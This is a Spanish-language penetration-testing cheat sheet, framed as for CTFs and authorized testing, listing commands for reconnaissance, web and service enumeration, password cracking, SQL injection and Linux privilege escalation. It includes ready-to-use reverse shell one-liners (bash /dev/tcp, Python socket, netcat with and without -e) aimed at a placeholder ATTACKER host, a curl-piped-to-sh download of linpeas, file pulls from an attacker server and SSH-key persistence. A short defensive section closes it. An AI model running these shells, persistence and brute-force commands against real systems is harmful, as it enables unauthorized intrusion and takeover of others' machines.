Comandos Rapidos - Hacking

Todo el contenido es para fines educativos, CTFs y pruebas de penetracion autorizadas.

Reconocimiento

ComandoDescripcion
nmap -sn 192.168.1.0/24Descubrimiento de hosts
nmap -sV -sC -p- targetEscaneo completo de puertos
nmap -sU -p- targetEscaneo UDP
nmap --script vuln targetScripts de vulnerabilidades
whois dominioInfo de registro de dominio
dig axfr dominio @nsTransferencia de zona DNS
theHarvester -d dom -b allRecopilar emails/subdominios

Enumeracion web

ComandoDescripcion
gobuster dir -u URL -w wordlistFuerza bruta de directorios
ffuf -u URL/FUZZ -w wordlistFuzzing rapido
nikto -h URLEscaneo de vulnerabilidades web
wpscan --url URLEscaneo de WordPress
whatweb URLIdentificar tecnologias web
curl -I URLVer headers HTTP

Enumeracion de servicios

ComandoDescripcion
enum4linux -a targetEnumeracion SMB completa
smbclient -N -L //targetListar shares anonimos
rpcclient -U "" -N targetRPC anonimo
ldapsearch -x -h target -b "dc=dom,dc=com"Busqueda LDAP
snmpwalk -c public targetEnumeracion SNMP
ftp targetVerificar FTP anonimo

Explotacion

ComandoDescripcion
msfconsoleIniciar Metasploit
searchsploit terminoBuscar exploits
sqlmap -u "URL?id=1"Inyeccion SQL automatizada
hydra -l user -P wordlist target sshFuerza bruta SSH
john --wordlist=rockyou.txt hashCrackear hashes
hashcat -m 0 hash wordlistCrackear hashes (GPU)

Reverse shells

# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
 
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
 
# Netcat (con -e)
nc -e /bin/sh ATTACKER PORT
 
# Netcat (sin -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f

Listener:

nc -lvnp PORT

Escalada de privilegios Linux

ComandoDescripcion
sudo -lListar permisos sudo
find / -perm -4000 2>/dev/nullBuscar binarios SUID
find / -writable 2>/dev/nullBuscar archivos escribibles
cat /etc/crontabVer tareas cron
ls -la /etc/cron*Listar directorios cron
getcap -r / 2>/dev/nullBuscar capabilities
cat /etc/passwdUsuarios del sistema
envVariables de entorno
uname -aInfo del kernel (buscar exploits)
idUsuario y grupos actuales

Scripts automatizados:

# LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# LinEnum
./LinEnum.sh -t
 
# linux-exploit-suggester
./linux-exploit-suggester.sh

Post-explotacion

ComandoDescripcion
python3 -m http.server 8000Servidor HTTP rapido
wget http://attacker/fileDescargar archivo
curl http://attacker/file -o fileDescargar archivo
ssh-keygen && cat id_rsa.pub >> authorized_keysPersistencia SSH

Defensivo

ComandoDescripcion
iptables -L -n -vVer reglas de firewall
ss -tulnpPuertos en escucha
lastUltimos logins
lastbIntentos fallidos de login
whoUsuarios conectados
wUsuarios y que hacen
rkhunter --checkBuscar rootkits
chkrootkitBuscar rootkits
lynis audit systemAuditoria de seguridad
fail2ban-client statusEstado de Fail2ban